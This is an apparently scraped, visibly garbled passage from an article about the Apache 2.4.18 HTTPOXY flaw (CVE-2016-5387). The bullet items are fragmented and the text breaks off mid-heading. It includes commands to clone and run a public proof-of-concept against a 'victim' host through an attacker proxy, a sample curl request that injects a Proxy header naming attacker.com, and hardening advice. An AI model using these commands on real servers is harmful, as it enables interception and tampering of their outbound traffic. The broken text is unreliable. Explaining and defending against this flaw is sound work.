git clone https://github.com/cujanovic/HTTPOXY-PoC
cd HTTPOXY-PoC
python3 httpoxy.py -u http://victim/cgi-bin/test-cgi -p http://attproxy:8080
If you are still running Apache 2.4.18 (e.g., legacy embedded systems), follow these hardening steps:
mod_http2 or set Protocols HTTP/1.1).HTTP_PROXY in mod_headers:
RequestHeader unset Proxy early
mod_userdir and mod_info (common recon vectors).-fstack-protector-strong, -D_FORTIFY_SOURCE=2).Better yet, containerize or virtualize so that a compromise is bounded.
Severity: 7.5 (High)
Type: Information Disclosure / Proxy Misconfiguration apache httpd 2.4.18 exploit
The Vulnerability:
CVE-2016-5387, nicknamed "HTTPOXY," is a misnomer. It is not an Apache bug per se, but a design flaw in how CGI scripts handled the Proxy header. An attacker could send a request containing a Proxy: http://evil.com header, tricking server-side scripts (PHP, Python, Go) into routing outgoing HTTP requests through a malicious proxy.
Exploitability on 2.4.18:
The "Exploit":
No remote code execution (RCE) was possible. Exploitation required:
file_get_contents()).HTTP_PROXY environment variable.Sample Attack (Conceptual):
curl -H "Proxy: http://attacker.com:8080" http://target/cgi-bin/api.php
If api.php called an external service, the attacker could intercept or modify the response.
Verdict: A viable information disclosure tool, but not a remote shell exploit. Searches for an "apache 2.4.18 shell exploit" due to HTTPOXY are misguided. The Hunt for Apache httpd 2